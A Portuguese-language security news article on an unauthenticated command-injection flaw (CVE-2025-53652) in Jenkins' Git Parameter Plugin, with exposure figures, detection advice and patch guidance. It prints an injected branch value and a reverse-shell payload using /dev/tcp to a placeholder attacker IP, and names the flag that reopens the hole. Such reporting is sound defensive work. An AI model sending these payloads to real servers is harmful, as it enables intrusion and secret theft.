Uncategorized

Mais de 1.500 servidores Jenkins vulneráveis a RCE via Git Parameter Plugin

O Jenkins, amplamente usado para automação de pipelines e integração contínua, anunciou um lote de correções para 31 vulnerabilidades em plugins. Entre elas, a CVE-2025-53652 também chamada SECURITY-3419 inicialmente rotulada como de severidade média, mas que, na prática, pode abrir caminho para execução remota de código (RCE) sem autenticação, dependendo da configuração.

Continua depois da publicidade

A falha está no Git Parameter Plugin, popular para gerenciar builds parametrizados. Ele permite que valores fornecidos pelo usuário sejam inseridos diretamente em comandos Git como rev-parse e fetch. O problema é que o plugin não valida esses valores, possibilitando a inclusão de caracteres e comandos do shell.

Um exemplo simples: em vez de passar “master” como nome de branch, um invasor envia $(sleep 80). Isso faz o Jenkins executar um comando sleep dentro do processo Git, algo facilmente detectável por ferramentas como ps faux.

Pesquisadores foram além e mostraram como essa brecha pode abrir uma reverse shell. Com uma requisição POST para /job/[buildName]/build contendo um payload como:

$(bash -c 'bash &> /dev/tcp/[IP_DO_ATACANTE]/[PORTA] <&1')

o atacante obtém acesso remoto como o usuário jenkins, com direito a ler arquivos sensíveis como ~/secrets/master.key.

Para explorar, é necessário conhecer o nome do build, ter um cookie de sessão válido e o token CSRF (Jenkins-Crumb). Em instâncias abertas ou com registro liberado, esses elementos podem ser obtidos com requisições simples, inclusive usando curl.

O cenário de risco:

Continua depois da publicidade
  • Scans FOFA mostram cerca de 100 mil instâncias Jenkins expostas à internet que exigem autenticação.
  • Cerca de 1 mil permitem registro aberto.
  • Aproximadamente 15 mil estão completamente sem autenticação, o que amplia a ameaça de exploração em larga escala.

Mesmo nos casos sem autenticação, ainda é preciso obter artefatos de sessão, mas essa barreira é pequena para atacantes determinados.

A detecção pode ser feita via monitoramento de rede. A VulnCheck, por exemplo, publicou uma regra Suricata que alerta para requisições POST suspeitas no endpoint /job/.../build com metacaracteres do shell nos parâmetros. No disco, evidências ficam registradas nos logs do job, onde comandos injetados aparecem nos resultados do git rev-parse.

O Jenkins já atualizou o plugin para corrigir o problema, mas com um detalhe preocupante: a correção inclui uma flag que, se ativada (-Dnet.uaznia.lukanus.hudson.plugins.gitparameter.GitParameterDefinition.allowAnyParameterValue=true), desativa a validação e reabre a vulnerabilidade. Ou seja, é preciso garantir que a configuração esteja correta após o update.

O que parecia uma falha de baixo impacto virou um vetor sério para ataques direcionados e movimentação lateral. A recomendação é clara: aplicar o patch imediatamente, garantir autenticação ativa e monitorar os logs para sinais de comprometimento.

No mundo DevOps, onde pipelines rodam com altos privilégios, um único parâmetro malicioso pode custar muito caro.

Continua depois da publicidade

Publicidade

Felipe F

Profissional de tecnologia com formação em Análise e Desenvolvimento de Sistemas e MBA em Segurança da Informação. Atua na área de infraestrutura e segurança, escrevendo sobre ameaças cibernéticas, Linux e segurança digital.